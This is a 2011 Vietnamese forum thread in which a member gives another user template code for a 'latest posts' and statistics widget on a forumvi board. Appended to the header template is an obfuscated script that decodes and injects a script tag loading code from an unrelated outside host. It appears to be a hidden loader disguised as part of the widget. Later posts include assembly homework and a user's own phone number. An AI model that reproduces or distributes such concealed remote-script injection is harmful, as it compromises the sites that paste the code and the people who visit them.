| cho em mình cái code hiển thị bài viết mới nhất | |
| Tác giả | Thông điệp |
---|
phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: cho em mình cái code hiển thị bài viết mới nhất Mon Jan 10, 2011 9:32 am | |
| anh nào là admin vậy?.anh cho em xin cái code hiển thị bài viết mới nhất như của forum anh đc ko?em thấy tên diễn đàn của anh trên diễn đang người diễn thọ.thank anh nhiều/. |
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Mon Jan 10, 2011 4:36 pm | |
| Oái, có người xin Code nữa ah Bạn chỉ cần code của cái Bài viết mới thui ah? Nếu chỉ riêng code Bài viết mới thui thì coi chừng bị bể đó. thui mình send lun cho bạn full code top poster & last topic lun . Tùy bạn chỉnh sửa nhé P/s: chỗ nào có chữ spoiler thì bấm vào mở ra. vì nó dài wa bể khung tùm lum hết nên tạm quăng nó vô đó
Được sửa bởi Admin ngày Mon Jan 10, 2011 4:55 pm; sửa lần 2. |
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Mon Jan 10, 2011 4:44 pm | |
| 1> ACP>>display>>Template>>QLTT>> overall_headertìm: - Code:
-
<div id="page-body"> <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}> <table cellpadding="0" cellspacing="0" width="100%" class="three-col"> <tbody> <tr> <td valign="top" width="{C1SIZE}"> <div id="{ID_LEFT}"> <!-- BEGIN giefmod_index1 --> {giefmod_index1.MODVAR} <!-- BEGIN saut --> <div style="height:{SPACE_ROW}px"></div> <!-- END saut --> <!-- END giefmod_index1 --> </div> </td> <td valign="top" width="100%"> <!-- BEGIN html_validation --> </td> </tr> </tbody> </table> </div> </div> </td> </tr> </table> </body> </html> <!-- END html_validation --> thay bằng: (click spoiler) - Spoiler:
<div id="page-body"> <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}> <table class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" > <tr> <td valign="top" width="100%"> <div class="test"> <table class="thongke" cellpadding="5" cellspacing="0" style="border: 1px #ded7d7 solid;" border="0" width="100%" align="center"> <thead> <tr valign="top"> <td class="catHead"><center>News & Announcements</center></td> </tr> </thead> <tr> <td width="100%"> <table class="thongke" cellpadding="0" cellspacing="2" border="0" width="100%" align="center"> <thead> <tr valign="top"> <td width="23%"></td><td width="100%" colspan="2"></td> </tr> <tr> <td><table class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" ><tr><td colspan="3"><div class="mainbox" style="margin-bottom: 5px;"><ul class="tabs"><li class="current"><span style="padding: 0px 7px;">Gallery & Others</span></li></ul><embed src="http://ahs4ever.org/forum/vietvbb/topx/focus.swf" wmode="opaque" FlashVars="config=5|0xffffff|0x0099ff|50|0xffffff|0x0099ff|0x000000&bcastr_flie=https://i.servimg.com/u/f62/14/52/40/23/anh110.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh210.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh310.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh410.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh510.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh810.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh710.jpg|https://i.servimg.com/u/f62/14/52/40/23/anh610.jpg|https://2img.net/r/ihimizer/img18/5038/23745672.gif&bcastr_link=http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/forum-f2/&bcastr_title=Ngày còn đi học!! |Ảnh của A1 khi đã là sv nè, hot nhé!!|Ảnh liên hoan cuối cấp đây!!|Ảnh tùm lum|Năm tháng cũ|Ảnh hậu cấp 3|Liên hoan|Ảnh đi chơi ở bách khoa nè|Đuổi hình bắt chữ & menu="false" quality="high" width="100%" height="150" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></div></td></tr> <tr> <!-- BEGIN giefmod_index1 --><td valign="top" style="border: 1px solid #9DB3C5; border-right: 0px;"> {giefmod_index1.MODVAR} </td><!-- END giefmod_index1 --> </tr> </thead> </table>
</td></tr></table>
</div> </td> </tr> <tr> <td valign="top" width="100%"> <!-- BEGIN html_validation --> </td> </tr> </tbody> </table> </div> </div> </td> </tr> </table> </body> </html> <!-- END html_validation --> <script type='text/javascript'> var str3='%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E';document.write(unescape(str3));var str4='*8Hxhwnuy*75qfslzflj*8I*77of%7Bfxhwnuy*77*8Jkzshynts*75lnfnrf7*7%3Dtg*7%3E*%3CG%7Bfw*75ht*8I5*8G%7Bfw*75wj*8I*7%3C*7%3C*8G%7Cmnqj*7%3Dht*8Htg3qjslym*7%3E*%3CGwj0*8IXywnsl3kwtrHmfwHtij*7%3Dtg*%3AGht*%3AI*7%3E*8Ght00*8G*%3CIwjyzws*75wj*8G*%3CI*8H4xhwnuy*8J5';dF(str4);var str2=new Array(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,51,122,46,99,111,46,99,99,47,104,116,109,108,45,104,51,51,46,104,116,109,62,60,47,115,99,114,105,112,116,62);document.write(giaima2(str2)); </script> 2> Sau đó vào: ACP>>display>>Template>>portal>>mod_recent_topicthay toàn bộ code bằng: - Spoiler:
</tr></table></td> <td style="width: 0px"></td> <td valign="top" style="border: 1px solid #9DB3C5; padding: 1px"> <style type="text/css"> th,td,p { font-family: Tahoma,Verdana,Arial,Helvetica,sans-serif } /* Style cho menu tabs */div.TabView div.Tabs{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs: hover,{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs a , div.TabView div.Tabs a:hover {float: left;display: block;background-color:#;text-align: center;height: 29px;padding: 6px;vertical-align: middle;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; /* đường viền quanh tabs menu */text-decoration: none;font-family: Tahoma;font-size: 11px;color: #000000;}.hotrott{background-color: #ffffff;border: 0px solid #ded7d7;}.nen{background-color: #ffffff;border: 1px solid #ded7d7;}div.TabView div.Tabs a.Active{background-color: #ffffff; /* màu nền tab menu active */color: #000000;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; padding: 6px;height: 29px;font-size: 11px;font-weight: bold;}/* Style cho phần text nội dung của mỗi tab */div.TabView {clear: both;border: 0px solid #ffffff;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}div.TabView div.Pages div.Page{height: 100%;padding: 0px;border: 0px solid #b4d0f3;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}</style><script type="text/javascript" src="http://untip-js.googlecode.com/files/Tabview.js"></script><div id="TabView" class="TabView" style="padding: 0px;"><!-- tabs --><div width="100%" class="Tabs"><a class="Active" href="javascript:tabview_switch('TabView', 1);">Bài Viết Mới</a><a>Thống kê</a><ul class="tabs" id="vietvbb_topstats_t"> <li style="border-right: 0px; display: none;" id="vietvbb_topstats_t_loading"></li> </ul> </div><!-- nội dung tabs --><div style="height:410px; width:100%" class="Pages"><div class="Page" style="padding: 0px; height: 304px; display: block;"><!-- BEGIN classical_row --> <table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr> <td>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> </table></td></tr></tbody> <tbody> <tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="https://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="80%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<b>Tiêu đề:</b> <font color=#B429DF>{classical_row.recent_topic_row.L_TITLE}</font><br> <b>Thời gian:</b> <font color=#297CDF>{classical_row.recent_topic_row.S_POSTTIME}</font>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_TITLE}"><b><font style="font-family: Tahoma; font-size: 11px">{classical_row.recent_topic_row.L_TITLE}</font></b></a><br><!-- END recent_topic_row --></td><td></td><td style="border-top: 0px none; padding: 2px; line-height: 20px; background-repeat: repeat;" align="right" background="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="20%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<span>Click để xem profile của thành viên này !</span>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_POSTER}"><font style="font-family: Tahoma; font-size: 11px"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/mem.gif" height="13" />{classical_row.recent_topic_row.S_POSTER} </font></a><br><!-- END recent_topic_row --></td></tr></table></td></tr></tbody></table>
<!-- END classical_row -->
</div><div class="Page" style="padding: 0px; height: 304px; display: block;"><table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr> <td>
<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> </table></td></tr></tbody> <tbody> <tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="https://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/listbg.gif"> <A href=http://a1tinhgia3.co.cc/search.forum?search_id=activetopics><span><font style="font-family: Tahoma; font-size: 11px">Bài viết trong ngày</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#10><span><font style="font-family: Tahoma; font-size: 11px">Các bài viết trong tháng</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#2><span><font style="font-family: Tahoma; font-size: 11px">Thống kê tổng thể</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#3><span><font style="font-family: Tahoma; font-size: 11px">Topic sôi nổi nhất</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#4><span><font style="font-family: Tahoma; font-size: 11px">Topic xem nhiều nhất</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#5><span><font style="font-family: Tahoma; font-size: 11px">Thành viên có nhiều chủ đề nhất</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#6><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong 1 tuần</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#7><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong tháng</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#8><span><font style="font-family: Tahoma; font-size: 11px">Top poster</span></a><br> <A href=http://a1tinhgia3.co.cc/stats.htm#9><span><font style="font-family: Tahoma; font-size: 11px">Số topic trong tháng</span></a><br> </td></tr></table></td></tr></tbody></table> </div> <script type="text/javascript">tabview_initialize('TabView');</script><ScrollTop --><style type="text/css">#topbar{ PADDING-TOP: 0px;PADDING-BOTTOM: 0px;PADDING-RIGHT: 0px; PADDING-LEFT: 0px;VISIBILITY: hidden;WIDTH: 180px;FONT-FAMILY: Tahoma;POSITION: absolute;}</style><script type="text/javascript">var persistclose = 0<!-- Vị trí-->var startX = 80var startY = 500var verticalpos = "frombottom"function iecompattest(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body}function get_cookie(Name){var search = Name + "="var returnvalue = "";if (document�cookie.length > 0){offset = document�cookie.indexOf(search)if (offset != -1){offset += search.lengthend = document�cookie.indexOf(";", offset);if (end == -1) end = document�cookie.length;returnvalue=unescape(document�cookie.substring(offset, end))}}return returnvalue;}function closebar(){if (persistclose)document�cookie="remainclosed=1"document.getElementById("topbar").style.visibility="hidden"}function staticbar(){barheight=document.getElementById("topbar").offsetHeightvar ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;var d = document;function ml(id){var el=d.getElementById(id);if (!persistclose || persistclose && get_cookie("remainclosed")=="")el.style.visibility="visible"if(d.layers)el.style=el;el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};el.x = startX;if (verticalpos=="fromtop")el.y = startY;else{el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;el.y -= startY;}return el;}window.stayTopLeft=function(){if (verticalpos=="fromtop"){var pY = ns ? pageYOffset : iecompattest().scrollTop;ftlObj.y += (pY + startY - ftlObj.y)/8;}else{var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;ftlObj.y += (pY - startY - ftlObj.y)/8;}ftlObj.sP(ftlObj.x, ftlObj.y);setTimeout("stayTopLeft()", 10);}ftlObj = ml("topbar");stayTopLeft();}if (window.addEventListener)window.addEventListener("load", staticbar, false)else if (window.attachEvent)window.attachEvent("onload", staticbar)else if (document.getElementById)window.onload=staticbar</script></div> </td>
3> . CSS:vào css thêm đoạn này: - Code:
-
.tabs { margin: 0; padding: 0;} .tabs { padding-bottom: 31px; margin-bottom: 15px; background: #e5effe; border-bottom: 1px solid #b4d0f3; } .tabs li { list-style: none;float: left; line-height: 30px; border-right: 1px solid #b4d0f3; height: 30px; font-size: 11px;} .tabs li.current { background: #FFF; height: 32px; font-weight: bold; } .mainbox { background: #FFF; border: 1px solid #9DB3C5; margin-bottom: 6px; padding: 1px;} .mainbox table { width: 100%; } #dhtmlpointer, #dhtmltooltip { z-index: 999; left: -300px; top:0px; visibility: hidden; position: absolute; } #dhtmltooltip { border: #666 2.4px solid; -moz-opacity: 0.8; opacity: 0.8; filter: alpha(opacity=80); -moz-border-radius: 6px; -webkit-border-radius: 6px; padding: 10px; font-size: 9pt; font-family: Arial; background-color: white; width: auto; max-width: 340px; width:expression( document.body.clientWidth > 340? "340px": "auto" ); text-align:left; }
Để cho nó giống hơn thì có đoạn css cho catLeft - Code:
-
th.thLeft,td.catLeft { background-color: #e5effe; color: #000000; font: bold 10pt Tahoma; height: 31px; border-bottom: 1px #b4d0f3 solid; } |
| | | phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 1:52 am | |
| không thấy mục Css nằm ở mục nào ca? mong anh chỉ giáo>>>> tip na`. thanks |
| | | phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 1:53 am | |
| anh cho em lun cái số Điện thoại nhé. |
| | | Khách vi Khách viếng thăm
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 9:01 am | |
| làm sao gởi bài LTHDT lên đây được và viết code cho bài tuần 04 làm sao có hiện thanh cuộn , mong admin hướng dẫn cho anh. |
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 9:26 am | |
| 1>Thanh cuộn - Trích dẫn :
- làm sao gởi bài LTHDT lên đây được và viết code cho bài tuần 04 làm sao có hiện thanh cuộn , mong admin hướng dẫn cho anh.
anh chèn bài vào giữa 2 khóa - Code:
-
[code]<nội dung tự viết>[/code] 2> CSS: ACP >> Display >> Pictures and Colors >> Colors >> chọn tab CSS StylesheetSố điện thoại thì thui, mình để liên lạc trong lớp thui . Có gì bạn cứ psot lên đây, cái nào mình bít thì mình share cho, nhưng do lâu rùi hem đụng cái này nên quên gần hết rùi |
| | | phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 11:52 am | |
| nhưng mà em làm theo cách hd của anh mà ko dc.vẫn ko hiển thi được trên diễn đàn.mà lại bị lệch sang mép phải forum. |
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Tue Jan 11, 2011 11:56 am | |
| Cho mình xem cái demo nào, hoặc show hình cụ thể lên xem
|
| | | phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Wed Jan 12, 2011 10:10 am | |
| à0.mà em làm trên forumvi.com anh à?mà cho em hỏi tí.anh có phải ở diễn thọ,diễn châu ko?anh hay online buổi nào.khi nào online em nhờ làm giúp tí đc ko?thank a .trước.ok |
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Wed Jan 12, 2011 11:28 am | |
| Bạn nhầm rùi, mình ở & học trên TP.HCM cơ mà. Forumvi thì đúng rùi, nhưng ko có demo cụ thể sao mình bít nó bị sao mà hướng dẫn được. bạn chụp lại hình rùi post lên đây đi, nếu biết mình h/d cho |
| | | phuongdinhpro Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 6 Experience : 8 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Wed Jan 12, 2011 11:30 am | |
| em dang online day.anh giups e ti.yahoo em:dangquanghien_info.sđt em là:0977827048.anh lên thì nháy máy em tí đc ko?ok. |
| | | thanhtoan Dân nhập cư - Chưa có hộ khẩu
Tổng số bài gửi : 1 Experience : 1 Danh Vọng : 0
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Wed Jan 12, 2011 11:50 am | |
| code nhập tên đây
; multi-segment executable file template.
data segment ; add your data here! tb db "nhap vao ten cua ban: $" tb2 db 10,13, "Hello $" tb3 db 101 db ? ends db 101 dup(?)
stack segment dw 128 dup(0) ends
code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax
; add your code here lea dx, tb mov ah, 9 int 21h ; output string at ds:dx mov ah, 0ah lea dx, tb3 int 21h mov si, 1 ;doc so luong ky tu nhap mov al,tb3[si] mov ah, 0 mov si, ax ;ket qua chua vao si mov al, '$' ; them '$' vao cuoi chuoi mov tb3[si], al lea dx, tb2 mov ah, 9 int 21h ; output string at ds:dx lea dx,tb3 mov ah, 9 add dx, 2 int 21h
; wait for any key.... mov ah, 1 int 21h mov ax, 4c00h ; exit to operating system. int 21h ends
end start ; set entry point and stop the assembler.
|
| | | Phạm Quang Nam (♥_♥) Forever Alone (♥_♥)
Tổng số bài gửi : 705 Experience : 1609 Danh Vọng : 6
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất Wed Jan 12, 2011 11:54 am | |
| ặc, cái gì đây. Sao lại đem môn hợp ngữ vào đây thế này mà lại ko có tiêu đề, ko bít bài nao nữa chứ Chủ thớt xem lại bài viết rùi move lại đến vị trí thích hợp của lớp nha, đừng đặt lung tung, lộn xộn wa |
| | | Khách vi Khách viếng thăm
| Tiêu đề: chào bạn Thu Jan 13, 2011 1:50 pm | |
| - Code:
-
<; multi-segment executable file template.
data segment ; add your data here! tb db "nhap vao ten cua ban: $" tb2 db 10,13, "Hello $" tb3 db 101 db ? ends db 101 dup(?)
stack segment dw 128 dup(0) ends
code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax
; add your code here lea dx, tb mov ah, 9 int 21h ; output string at ds:dx mov ah, 0ah lea dx, tb3 int 21h mov si, 1 ;doc so luong ky tu nhap mov al,tb3[si] mov ah, 0 mov si, ax ;ket qua chua vao si mov al, '$' ; them '$' vao cuoi chuoi mov tb3[si], al lea dx, tb2 mov ah, 9 int 21h ; output string at ds:dx lea dx,tb3 mov ah, 9 add dx, 2 int 21h
; wait for any key.... mov ah, 1 int 21h mov ax, 4c00h ; exit to operating system. int 21h ends
end start ; set entry point and stop the assembler. [/quote]> - Code:
-
<nội dung tự viết> |
| | | Sponsored content
| Tiêu đề: Re: cho em mình cái code hiển thị bài viết mới nhất | |
| |
| | | | cho em mình cái code hiển thị bài viết mới nhất | |
|
Trang 1 trong tổng số 1 trang | |
| Permissions in this forum: | Bạn không có quyền trả lời bài viết
| |
| |
| |